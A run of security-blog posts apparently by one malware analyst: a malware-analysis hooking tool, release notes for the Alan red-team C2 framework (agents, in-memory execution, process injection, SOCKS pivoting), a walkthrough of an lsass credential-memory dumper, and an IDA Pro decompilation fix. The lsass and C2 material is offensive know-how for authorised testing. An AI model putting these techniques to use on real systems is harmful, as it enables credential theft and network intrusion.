<li>It creates a PE loader (also referenced as an <b>activator</b>) that loads a user input binary (also know as <b>target binary</b>).</li>
<li>A multi-arch hook engine that monitors the Win32 API function calls.</li>
</ul>
<h4>Create an activator</h4>
The first task consists in creating an activator. This is a binary that once executed loads the embedded PE file (the target binary) and runs its entry-point. The activator will be a DLL if the targety binary is a DLL or an EXE otherwise. The activator exports an additional function which is <i>DllRegisterServer</i>. This function is commonly used by malware to start the main code.
<br /><br />
<h4>Activator execution</h4>
When executed, the activator extracts the embedded binary and loads it in memory. Before executing the target binary entry-point, various Win32 function hooks are placed. This ensures that the malware execution is monitored. By default, TheMatrix implements various Windows hooks that log the input data to the folder: <b>./Desktop/thematrix/<PID>/<API_name>.log</b>. During the PE loading step, the <i>PEB.Ldr</i> field is updated by including the target binary. This field contains a double linked list of all the currently loaded DLL and it is used by various Win32 API such as <i>GetProcAddress</i>. I still wonder why of the many PE loader projects available online, no one modifies the Ldr field.
<br /><br />
<h3>TheMatrix Under the hood</h3>
The core of TheMatrix is implemented in assembly. This gave me the possibility to improve my x64 assembly programming skills and at the same time to implement features that I only reveresed. The x86 and x64 version have quite a few differences which are detailed below.
<br /><br />
<h4>x86 Version</h4>
The 32-bit version of TheMatrix uses Microsoft Hot Patching mechanism to place the function hooks (see file <a href="https://github.com/enkomio/thematrix/blob/main/TheMatrix/x86_hook_engine.inc">x86_hook_engine.inc</a>). The inserted JMP instruction will jump to a trampoline (a concept described later) that is placed in a code cave. The code cave is found by searching in the DLL sections. At execution time, when the API function is called by the target binary, the trampoline will execute and a jump to the user defined hook function is performed.
<br /><br />
<h4>x64 Version</h4>
I started to implement the project in x86 assembly. As soon as I finished the initial version, the malware that I was interested in analysing switched to x64. This forced me to re-implement all the code in x64 assembly too (here is my reaction when I discovered this fact: <a href="https://twitter.com/s4tan/status/1516488723294298116">https://twitter.com/s4tan/status/1516488723294298116</a>).
<br /><br />
When I decided to implement the x64 version too, I find myself in trouble since the x64 Win32 APIs do not support hot patching in the same way as the x86 version. This forced me to choose a different approach to place my hooks. In the end, I decided to use Export Address Table (EAT) hooking. As for the x86 version, a trampoline is used that will call the user defined hook function (see file <a href="https://github.com/enkomio/thematrix/blob/main/TheMatrix/x64_hook_engine.inc">x64_hook_engine.inc</a>).<br /><br />
An additional aspect that is often ignored during the binary reversing process, it is that MS uses a different x64 function call convention when compared to x86 code (<a href="https://docs.microsoft.com/en-us/cpp/build/stack-usage?view=msvc-170">see this doc for more details</a>). In addition, the stack needs to be 16 bytes aligned. In theory the concept is simple, but as often happens, the evil is in the details :) Luckily I found a useful 300 loc file that help me with this task (see <a href="https://twitter.com/s4tan/status/1522150733839273986">https://twitter.com/s4tan/status/1522150733839273986</a>).
<br /><br />
<h4>Trampoline and hook function</h4>
The trampoline contains part of the magic that allowed me to create a clean design. Below you can see the x64 version of the trampoline code before being written to the identified code cave.
<pre><code class="C">@trampoline_code_start:
mov rax, 011223344aabbccddh ; store the address of the original function
mov qword ptr gs:[28h], rax ; TIB.ArbitraryUserPointer, see: https://codemachine.com/articles/arbitraryuserpointer_usage.html
mov rax, 011223344aabbccddh ; hook function address
jmp rax</code></pre>
Two places needs to be patched at runtime. The first is the address of the user defined function hook, and the second one is the original address of the hooked function. This latest information is necessary in order to easily call the original function as show in the section below. To store this value I choosed the <b>TIB.ArbitraryUserPointer</b> field which is part of the Thread Environment Block (or TIB in this case). This field is rarely used and is a good place to store our information. The only requirement is that the original function must be called in the same thread of the function hook.
<br /><br />
<h3>Usage</h3>
As mentioned, the first step is to create the activator. This is achieved by using the <b>-add</b> command and specifying the target binary. TheMatrix will create a copy of itself containing the target binary. If the target binary is a DLL, TheMatrix will modify the activator file in order to result as a DLL and not as an EXE file. Once the activator is created, it can be executed in the same way as the target binary.
<br /><br />
One of the main goal of my project was to create something that was really easy to update. Adding a new function hook must be a deadly easy operation. In the end I come up with a design where you can extend the project in a simple way, you just need a bit of Win32 API programming skill (you can implement your code in C, no Assembly programming required ^^). To place an hook you just need to use the <b>hook_add</b> function, by specifying the DLL name, the API function name and the user defined hook function. An example of call is the following one:
<br /><br />
<pre><code class="C">hook_add("Bcrypt.dll", "BCryptImportKeyPair", hook_BCryptImportKeyPair);</code></pre>
Then, you have to implements your function hook. To call the original function it is enough to use the <b>call_original</b> function by passing the input parameters of the original function. This kind of design is possible thanks to the freedom provided by programming in assembly. An example of usage is shown below.
<pre><code class="C">LPVOID __stdcall hook_BCryptImportKeyPair(BCRYPT_ALG_HANDLE hAlgorithm, BCRYPT_KEY_HANDLE hImportKey, LPCWSTR pszBlobType, BCRYPT_KEY_HANDLE* phKey, PUCHAR pbInput, ULONG cbInput, ULONG dwFlags)
{
// save imported key bytes
char name[MAX_PATH] = { 0 };
snprintf(name, sizeof(name), "BCryptImportKeyPair_%llx_%d", (uint64_t)pbInput, cbInput);
log_data(cbInput, pbInput, name);
LPVOID ret = call_original(
hAlgorithm,
hImportKey,
pszBlobType,
phKey,
pbInput,
cbInput,
dwFlags
);
return ret;
}</code></pre>
In the example above, the hook function logs the imported key before calling the original function. The final step is to inform TheMatrix of the available hooks before to run the target binary. This action is performed in the function <b>hooks_init</b>, whose definition is the following:
<pre><code class="C">bool hooks_init(uint8_t* hMod)</code></pre>
The file <b><a href="https://github.com/enkomio/thematrix/blob/main/TheMatrix/hooks.c">hooks.c</a></b> contains the function call, and can be customized by the user.
<br /><br />
<h3>Demo</h3>
The following video shows an example of TheMatrix usage. The video shows the execution of a malware and demonstrates how TheMatrix is able to trace the execution of a new process and the extraction of relevant information. The malware is a famous one and it is not difficult to recognize it if you are into malware analysis ;)
<iframe width="560" height="315" src="https://www.youtube.com/embed/TE5BEK17bD0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-58071358529599137672022-05-20T06:21:00.002-07:002022-05-20T06:21:54.174-07:00Alan c2 Framework v7.0: Hyper-Pivoting<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<link href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/a11y-dark.min.css" rel="stylesheet"></link>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/x86asm.min.js"></script>
<script crossorigin="anonymous" src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/powershell.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<br />
Twitter: <a href="https://twitter.com/s4tan">@s4tan</a><br />
Download: <a href="https://github.com/enkomio/AlanFramework/releases/latest">https://github.com/enkomio/AlanFramework/releases/latest</a><br />
Documentation: <a href="https://github.com/enkomio/AlanFramework/tree/main/doc">https://github.com/enkomio/AlanFramework/tree/main/doc</a>
<br /><br />
A new Alan C2 Framework version was released, codename: <b>Hyper-Pivoting</b>. This new version includes some cool features like a proxy usage to allow the operator to easily pivoting through networks.
<br /><br />
<h3>SOCKS5 Proxy</h3>
Network Pivoting is an essential part of every red-team activities and a must have feature for every C2 Framework. Alan v7.0 implements a proxy feature to easier network pivoting. By using the <b>proxy</b> command the operator can create a SOCKS5 compliant proxy on the machine where the agent is running, or interacting with an already running proxy.
<br /><br />
Proxy chain is another useful feature that allows the operator to chain multiple proxies togheter. Creating a proxy chain is very simple, just use the command: <b>proxy chain [proxy ID source] [proxy ID dest]</b>. Some network segments can communicate only with specific addresses, this implies that reaching the C2 server is not an easy task. By using a chain of proxies the agent can establish a path to the Alan server and being able to compromise very segmented networks too.
<br /><br />
The executed proxies are protected by a username and password. If the operator does no specify them, a randomly generated username and password is used (the operator can see the username and password by running the <b>proxy</b> command). As mentioned, the proxy are SOCKS5 proxies and can be used by any other programs that accept a SOCKS5 proxy.
<br /><br />
One of the main Alan pillars is the in-memory execution of all its components, and the proxy has no exception. When a proxy is executed, its code runs inside the host process without touching the disk.
<br /><br />
<h3>Misc features</h3>
Alan 7.0 includes other relevant features. The <b>info</b> command was improved by showing the <i>Machine ID</i> and if the agent is using a proxy. All Alan logs are now saved to the <i>alan.log</i> file. In addition, all the output generated by the Alan server and the commands inserted by the operator are saved to an evidence file. This allows the operator to include the evidence file as part of the red-team activity report.
<br /><br />
<h3>Demo</h3>
The video below shows an example of proxy usage. After creating a proxy the Alan agent is instructed to use it. The video demonstrates that the running proxies are compliant to the SOCKS5 specification, by using one the created proxy with the <i>curl</i> utility. Next, a proxy chain is created and the network traffic displayed to show that the chain of proxies is traversed before to reach the Alan server.
<br /><br />
<iframe width="560" height="315" src="https://www.youtube.com/embed/66reccDHio8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-36469759014184050482022-02-20T02:49:00.004-08:002022-02-26T01:07:57.146-08:00Alan c2 Framework v6.0: Alan + JavaScript = ♡<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<link href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/a11y-dark.min.css" rel="stylesheet"></link>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/x86asm.min.js"></script>
<script crossorigin="anonymous" src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/powershell.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<br />
Twitter: <a href="https://twitter.com/s4tan">@s4tan</a><br />
Download: <a href="https://github.com/enkomio/AlanFramework/releases/latest">https://github.com/enkomio/AlanFramework/releases/latest</a><br />
Documentation: <a href="https://github.com/enkomio/AlanFramework/tree/main/doc">https://github.com/enkomio/AlanFramework/tree/main/doc</a>
<br /><br />
Alan v6.0 was release with a new cool feature: JavaScript execution. The scripts are executed in memory and do not depend on any third party program. The scripts source code can be downloaded from the <a href="https://github.com/enkomio/AlanFramework/tree/main/scripts">GitHub Alan repository</a>.
<br /><br />
Being able to extend the framework is a mandatory feature in today red-team tools. Each team has its own methodology to perform a red-team activity and being able to customize or extend the tool capabilities is mandatory. One of the main goal with Alan was to provide a framework that can be easily adapted to vairous modus-operandi. Alan v6.0 adds a new feature to support an easy extension, it allows the operator to execute JavaScript file directly in memory. This feature is implemented inside an Alan core module and does not depend on any third party program.
<br /><br />
In other tools, this kind of feature requires the operator to compile C code by following a specific process. This might be overhelming and unecessary complex. Javascript is an easy language and even novices can become proficient in a short time.
<br /><br />
However, being able to execute JavaScript code is not enough, since in most cases the operator needs to interact with native Windows function to perform a given action. Alan provides an interface to call native Windows functions by using the handy JavaScript syntax. This blog post explores the details of this feature and how to use it to extend the Alan capabilities.
<br /><br />
<h3>Gettin Started</h3>
Executing a JavaScript file in Alan is extremyl easy, just use the <b>run</b> command and specify a file with <b>.js</b> extension. In order to call a Windwos function, Alan implements the <b>Win32</b> module that exposes two methods: <b>GetProcAddress</b> and <b>LoadLibrary</b>. These are the basic methods to call virtually any Windows functions. Let's try to write a simple file that prints the process ID.
<br /><br />
<pre><code>import * as win32 from 'Win32';
var kernel32 = win32.LoadLibrary("kernel32.dll");
var GetCurrentProcessId = win32.GetProcAddress(kernel32, "GetCurrentProcessId");
var IsWow64Process = win32.GetProcAddress(kernel32, "IsWow64Process");
var GetCurrentProcess = win32.GetProcAddress(kernel32, "GetCurrentProcess");
var my_pid = GetCurrentProcessId();
var is_wow64 = new Array(4);
IsWow64Process(GetCurrentProcess(), is_wow64);
var msg = "Hello world from Javascript executed in process: " + my_pid;
if (is_wow64[0] == 1)
msg += " - I'm running under Wow64 :)";
print(msg);</code></pre>
The script opens the <b>Win32</b> module in order to load the <b>Kernel32</b> DLL by calling the <b>LoadLibrary</b> function. Using the obtained handle, the <b>GetCurrentProcessId</b> function address is resolved by using the <b>GetProcAddress</b> function. The other functions are resolved in the same way. You can now use the resolved functions by calling them as standard JavaScript functions. As final step, the script prints a string showing a message containing information extracted from the Windows APIs.
<br /><br />
A fundamental step of the entire process is being able to easily test the script during the development stage. In this new Alan version, a new folder named <b>tools</b> was added to the Alan package. It contains the files <b>cqjsx86.exe</b> and <b>cqjsx64.exe</b>. These files are JavaScript interpreters in x86 and x64 version. Let's try to run our script with both files to see what result is produced (the <b>--file</b> option is used to specify the file path).
<br /><br />
<pre><code>C:\Alan.v6.0.511.24\tools>cqjsx64.exe --file test.js
Hello world from Javascript executed in process: 15532
C:\Alan.v6.0.511.24\tools></code></pre>
If we use the <b>wqjsx86.exe</b> program, we obtain the following result (I'm running my test in a x64 OS).
<pre><code>C:\Alan.v6.0.511.24\tools>cqjsx86.exe --file test.js
Hello world from Javascript executed in process: 30844 - I'm running under Wow64 :)
C:\Alan.v6.0.511.24\tools></code></pre>
As can be noticed, the result is different according to the used version.<br />
Once that the script works as expected, we can run it in the Alan agent by simply using the <b>run</b> command and specifying the full path of the script.
<br /><br />
<h3>Windows API Data Structure Interoperation</h3>
The <b>GetProcAddress</b> and the <b>LoadLibrary</b> should provide the basic functionality to call every Wind32 APIs. However, interacting with a native API might requires further information. A typical example are parameters that are used as buffer (both in input and output). When this is the case, the following rules apply:
<ul>
<li>
Each JavaScript Array is considered as an array of bytes when passed to a Win32 function. Each byte is casted to <i>uint8_t</i> (this causes a data truncation and a potential data corruption). If the array contains other complex data types (such as a <i>String</i>) its value is converted to <i>NULL</i>.</li>
<li>
<i>Boolean</i> values are converted to <i>1</i> if <i>true</i> and <i>0</i> if <i>false</i>.
</li>
<li>
Each number is converted to a 32-bit interger on x86 process, and to 64-bit integer on x64 process.
</li>
<li>
Each JavaScript <b>String</b> is converted to an <b>ascii string</b> when passed to a Win32 function.
</li>
<li>
You can not call functions with more than 20 parameters.
</li>
</ul>
<br /><br />
The rules above imply that:
<ul>
<li>
Each parameter passed by address to a Win32 function needs to be converted to an array (eg. to pass a LPDWORD you have to create an Array(4) parater if running in 32-bit or an Array(8) if running in 64-bit).
</li>
<li>
If a Win32 function accept a structure, it needs to be converted to an Array too. For example, a <b>PROCESSENTRY32</b> structure must be represented as an Array and then parsed by refercing the fields by their offset (an example using this structure is presented later with some helper function to simplify the job).
</li>
</ul>
<br /><br />
All these rules might be quite annoying during the development of a not trivial script. In the next section I'll show how to easier the development task by implementing an <i>lsass</i> process memory dumper.
<br /><br />
<h3>Implementing a simple lsass.exe process memory dumper</h3>
This is a perfect case to explore more in-depth this new feature. Being able to dump the process memory of the <b>lsass</b> process is very import to further compromise an host. There are various techniques to achieve this goal, but for the sake of simplicity I'll go for the simpler one, by using the <b>MiniDumpWriteDump</b> function. I'll put the script on GitHub so you can have a look at its full source code.
<br /><br />
Let's suppose that our Agent is running as Administrator, then the following points have to be considered to write the dumper:
<ul>
<li>
Enable <b>SE_DEBUG_NAME</b> privilege.
</li>
<li>
Scan all processes to identify the <b>lsass.exe</b> process.
</li>
<li>
Create a mini dump of the <b>lsass.exe</b> process.
</li>
</ul>
<br /><br />
As first step we have to load all the needed functions. This is a trivial task and already demonstrated in the previous example. Enabling <b>SE_DEBUG_NAME</b> is the next step. To perform this action we have to use a <b>TOKEN_PRIVILEGES</b> structure. This structure is quite simple, so for this task we will just create an array of 0x10 bytes and reference the <b>sTP.Privileges[0].Luid</b>, the <b>sTP.PrivilegeCount</b> and the <b>sTP.Privileges[0].Attributes</b> by their array offset. After calling the <b>AdjustTokenPrivileges</b> function we are now reayd to proceed with the next and probably most complex step.
<br /><br />
We have to identify the <b>lsass.exe</b> process. To achieve this goal we use the <b>CreateToolhelp32Snapshot</b> function to obtain a snapshot and loop through all processes untile we find a process whose name is <b>lsass.exe</b>. This implies the usage of a <b>PROCESSENTRY32</b> structure which is not that simple. To easies the task I created various JavaScript functions helper that serialize an object to a JavaScript array. The serialization function inspects the prefix of each field name and according to its value a specific serialization action is performed. For example, field names that start <b>dw_</b> are serializated as <b>DWORD</b>. Field names that start with <b>p_</b> are serializated to a four bytes array or eigth bytes array according to the value of a global variable that I defined at the start of the script (this step can be more dynamic by using the <b>IsWow64Process</b> function). Thanks to these functions, working with structures is now a lot easier (see the script source code for full details).
<br /><br />
The final step is to create a file and call the <b>MiniDumpWriteDump</b> function to create a file dump that you can now download to your machine for post-processing.
<br /><br />
<h3>Demo</h3>
Now that we have create our script to dump the <b>lsass.exe</b> process memory, let's use it. The video below provides a demonstration about how to dump the <b>lsass.exe</b> process memory by running our JavaScript script in the agent.
<br /><br />
<iframe width="560" height="315" src="https://www.youtube.com/embed/8AvE0SpvBDY" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-44046587990320042192022-01-20T13:48:00.019-08:002022-01-21T01:23:21.770-08:00Analyzing an IDA Pro anti-decompilation code<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<link href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/a11y-dark.min.css" rel="stylesheet"></link>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/x86asm.min.js"></script>
<script crossorigin="anonymous" src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/powershell.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<br />
Twitter: <a href="https://twitter.com/s4tan">@s4tan</a><br />
GitHub: <a href="https://github.com/enkomio/">https://github.com/enkomio/</a><br />
<br />
In this post I'll analyze a piece of code that induces IDA Pro to decompile the assembly in a wrong way. I'll propose a fix, but I'm open to more elegant solutions :)
<br /><br />
The function that we want to decompile has the following assembly code (I'm using IDA Pro v7.6):
<br /><br />
<pre><code class="x86asm">.text:1001BC95 56 push esi
.text:1001BC96 FF 74 24 10 push [esp+4+arg_8]
.text:1001BC9A 8B 74 24 10 mov esi, [esp+8+arg_4]
.text:1001BC9E 56 push esi
.text:1001BC9F FF 74 24 10 push [esp+0Ch+arg_0]
.text:1001BCA3 52 push edx
.text:1001BCA4 51 push ecx
.text:1001BCA5 E8 57 20 FF FF call nullsub_1
.text:1001BCAA 8B 0A mov ecx, [edx]
.text:1001BCAC 83 C4 14 add esp, 14h
.text:1001BCAF 89 4E 0C mov [esi+0Ch], ecx
.text:1001BCB2 8B 42 04 mov eax, [edx+4]
.text:1001BCB5 03 C1 add eax, ecx
.text:1001BCB7 89 46 04 mov [esi+4], eax
.text:1001BCBA 5E pop esi
.text:1001BCBB C3 retn</code></pre>
<br /><br />
The function uses two arguments with an unconventional calling convention. If we decompile the code, we obtain:
<br /><br />
<pre><code class="C">int __cdecl sub_1001BC95(int a1, int a2)
{
int *v2; // edx
int v3; // ecx
int result; // eax
nullsub_1();
v3 = *v2;
*(a2 + 12) = *v2;
result = v3 + v2[1];
*(a2 + 4) = result;
return result;
}</code></pre>
In IDA Pro the <b>v2</b> variable (corrisponding to the line at address <i>0x1001BCAA</i>) is colored in red, since its value might be undefined.
<br /><br />
Custom calling convention might cause some problems to the decompilation process (see <a href="https://github.com/enkomio/Misc/tree/master/Hex-Rays">this</a>), but, in general, there exist an easy fix to it: it is enough to inform IDA Pro that the function uses a custom calling convention. By modifying the function, we can set the new type with the following definition:<br /><br />
<pre><code class="C">int __usercall sub_1001BC95@<eax>(PUCHAR arg0@<edx>, int garbage, PUCHAR arg1)</code></pre>
with this new definition, the decompiled code now looks like the following:
<br />
<pre><code class="C">int __usercall sub_1001BC95@<eax>(PUCHAR arg0@<edx>, int garbage, PUCHAR arg1)
{
int *v1; // edx
int v2; // ecx
int result; // eax
int v4; // [esp+Ch] [ebp+8h]
nullsub_1();
v2 = *v1;
*(v4 + 12) = *v1;
result = v2 + v1[1];
*(v4 + 4) = result;
return result;
}</code></pre>
We haven't done any progress at all. The only place where we haven't checked is the <b>nullsub_1</b> function, the problem must be in its call. If we analyze this function, we notice that it has an empty body, as shown below.<br /><br />
<pre><code class="x86asm">.text:1000DD01 C3 retn</code></pre>
Why is this function causing problems? The answer is in the software convention used by the compiler. During the compilation, the compiler considers some registers as volatile. This means that the value of these registers, after a function call, should not be considered preserved ([<a href="https://docs.microsoft.com/en-us/cpp/build/x64-software-conventions?view=msvc-170">1</a>]). Among the volatile registers, there is <b>EDX</b>, which is exactly one of the registers used to pass a function parameter in the custom calling convention.
<br /><br />
This code causes problem to the decompilation process that considers (correctly) the <b>EDX</b> register to have an undefined value after the function call.
<br /><br />
I'm not aware of any particular IDA Pro command to inform the decompiler to not consider <b>EDX</b> as volatile, so the simpler solution that I found is to just remove the call instruction (I patched the bytes <i>E8 57 20 FF FF</i> with <i>90 90 90 90 90</i>). The result is a much cleaner decompiled code, as shown below.
<br /><br />
<pre><code class="C">int __usercall sub_1001BC95@<eax>(PUCHAR arg0@<edx>, int garbage, PUCHAR arg1)
{
PUCHAR v3; // ecx
int result; // eax
v3 = *arg0;
*(arg1 + 3) = *arg0;
result = &arg0[1][v3];
*(arg1 + 1) = result;
return result;
}</code></pre>
Now we can proceed to further improve the decompilation code (we can clearly see the usage of a struct in the code) now that the decompiled code represents the real intent of the assembly code.
<br /><br />
<h3>Update:</h3>
I received a message on <a href="https://mobile.twitter.com/namazso/status/1484328336167878657">twitter</a> and <a href="https://www.reddit.com/r/ReverseEngineering/comments/s8u7y6/comment/htiwl4s/?utm_source=share&utm_medium=web2x&context=3">reddit</a> that suggests to have a look at the <b>__spoils</b> keyword mentioned in this <i>Igor’s tip of the week</i> post [<a href="https://hex-rays.com/blog/igors-tip-of-the-week-51-custom-calling-conventions/">2</a>] (shame on me for not having found it).
<br /><br />
Its meaning is exactly what we need to solve the problem in a more elegant and generic way. It is enough to change the <b>nullsub_1</b> function definition by adding the <b>__spoils</b> keyword, as show below:
<br /><br />
<pre><code class="C">void __spoils<> nullsub_1(void)</code></pre>
The decompilation result of the function <b>sub_1001BC95</b> is the same as before with the exception that the call to the <b>nullsub_1</b> function is still there (it is not necessary to patch the bytes anymore).
<br /><br />
<h2>Links:</h2>
[1] <a href="https://docs.microsoft.com/en-us/cpp/build/x64-software-conventions?view=msvc-170">Register volatility and preservation</a><br />
[2] <a href="https://hex-rays.com/blog/igors-tip-of-the-week-51-custom-calling-conventions/">Igor’s tip of the week #51: Custom calling conventions</a>
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-67164441941118363022021-12-18T12:13:00.008-08:002021-12-18T20:37:01.557-08:00Alan c2 Framework v5.0 - All you can in-memory edition<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<link href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/a11y-dark.min.css" rel="stylesheet"></link>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/x86asm.min.js"></script>
<script crossorigin="anonymous" src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/powershell.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<br />
Twitter: <a href="https://twitter.com/s4tan">@s4tan</a><br />
Download: <a href="https://github.com/enkomio/AlanFramework">https://github.com/enkomio/AlanFramework</a><br />
Documentation: <a href="https://github.com/enkomio/AlanFramework/tree/main/doc">https://github.com/enkomio/AlanFramework/tree/main/doc</a>
<br /><br />
I just released version 5.0 of my C2 post-exploitation framework Alan. You can download the binaries and read the release notes at: <a href="https://github.com/enkomio/AlanFramework/releases/latest">https://github.com/enkomio/AlanFramework/releases/latest</a>
<br /><br />
My goal with the Alan project is to provide a post-exploitation framework that can help red-team operators to further compromise their targets. Tipically, each team has its preferred tools to exploit the target, an example is the pletora of tools that can perform the memory dump of the lsass process. Alan does not enforce any particular tool, instead it provides the ground to run whatever tools the operator like. All tools are executed in memory in the address space of a pre-configured host process, or injected into another process.
<br /><br />
This feature is achieved by the introduction of the new command <i>run</i>. This command accepts a file path on the operator machine and executes it on the compromised host without touching the disk. It is possible to specify command-line arguments that are passed to the executed program (this feature is not so common in the other C2 framework ;)). For this reason I decided to name this version "All you can in-memory" :)
<br /><br />
Other commands were also implemented that allow the operator to execute a program on the compromised host. In particular the command <i>exec</i> was added to execute a new process and the <i>shell</i> command was modified to accept an argument that is the command to execute (if no argument is specified, a command shell is presented to the operator).
<br /><br />
Find below the video that shows the following features:
<br /><br />
<ul>
<li>Creation of a x64 powershell agent.</li>
<li>In-memory execution of the <i>nanodump</i> utility by using the configured host program (<i>raserver.exe</i> in this case) and passing a command-line argument. The Process Hacker windows will display the execution of the <i>raserver.exe</i> process.</li>
<li>Execution of the program <i>notepad.exe</i> in background.</li>
<li>In-memory execution of the <i>dumper</i> utility by injecting the binary in the just created <i>notepad</i> process. In this case the <i>raserver.exe</i> is not executed.</li>
</ul>
<br /><br />
<iframe width="560" height="315" src="https://www.youtube.com/embed/rFG6PCR6tJM" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-84354319580762990462021-09-26T15:44:00.000-07:002021-09-26T15:44:07.741-07:00Alan post-exploitation framework v4.0 released<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<link href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/a11y-dark.min.css" rel="stylesheet"></link>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/x86asm.min.js"></script>
<script crossorigin="anonymous" src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/powershell.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<br />
Twitter: <a href="https://twitter.com/s4tan">@s4tan</a><br />
Download: <a href="https://github.com/enkomio/AlanFramework/releases/latest">GitHub</a><br />
Documentation: <a href="https://github.com/enkomio/AlanFramework/tree/main/doc">https://github.com/enkomio/AlanFramework/tree/main/doc</a>
<br /><br />
I just released version 4.0 of my post-exploitation framework Alan. You can download the binaries and read the release notes at: <a href="https://github.com/enkomio/AlanFramework/releases/latest">https://github.com/enkomio/AlanFramework/releases/latest</a><br />
<br /><br />
I also made a video that shows the following features:
<br /><br />
<ul>
<li>Creation of two agents, a x86 and a x64 version</li>
<li>Migration of agent x86 to a process with a different integrity level</li>
<li>Execution of a command-shell on the compromised host and the execution of the x64 agent directly from the command-shell</li>
<li>Migration of the x64 agent to another x64 process</li>
<li>Restart of the Alan server to show that the agents reconnect to the server after the restart (the agent session is not lost)</li>
</ul>
<br /><br />
<iframe width="560" height="315" src="https://www.youtube.com/embed/D8zDycuZHqg" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-57286077731011294892021-05-15T08:23:00.013-07:002021-05-23T10:31:26.094-07:00Alan - A post exploitation framework<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<link href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/a11y-dark.min.css" rel="stylesheet"></link>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/x86asm.min.js"></script>
<script crossorigin="anonymous" src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/powershell.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<br />
Twitter: <a href="https://twitter.com/s4tan">@s4tan</a><br />
Download: <a href="https://github.com/enkomio/AlanFramework/releases/latest">GitHub (use this repo to report issues)</a><br />
Documentation: <a href="https://github.com/enkomio/AlanFramework/tree/main/doc">https://github.com/enkomio/AlanFramework/tree/main/doc</a>
<br /><br />
I decided to dedicate a bit of my free time to develop a new project: Alan, a post exploitation framework. Doing red-team activities is not my main job, but I like this field and, as a malware analyst, I analyze a lot of programs that have a very similar intent.
<br /><br />
The Alan concept is simple: the operator creates an agent file that is executed on the compromised host, and receives commands from a server under to control of the operator. The goal of the project is to provide a framework that has as primary target red-team activities. I implemented it by using C/Assembly for the agent and F# as backend (with .NET core, this ensure the excution on various OS).
<br /><br />
Alan is implemented by considering weaknesses and missing features that I found in some of the currently available red-teaming tools. For example, a lot of tool claims that the traffic with the server is encrypted but they embed the key inside the request, or, in other cases, the key can be retrieved if the binary is available for reversing (too often I found a key generation algorithm based on a seed that can be easily computed).
<br /><br />
<h2>A post-exploitation tool</h2>
Alan supports a good amount of features allowing the operator to further comprimise the target after the initial exploitation. Alan agent can be deployed in various formats, such as: Executable, DLL, Powershell and Shellcode. Below you can find a video that shows how to create an agent and interact with it by launching a command-shell on the remote host.
<br /><br />
<iframe width="560" height="315" src="https://www.youtube.com/embed/dgEBEAfEseY" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<br /><br />
The agent can be easily customized and flexibility is a key feature for Alan. The agent profile can be updated at runtime, this means that you can change server address or even the communication protocol! The video below shows how to change the agent profile at runtime, by specifying a different server port and moving from HTTP to HTTPS.
<br /><br />
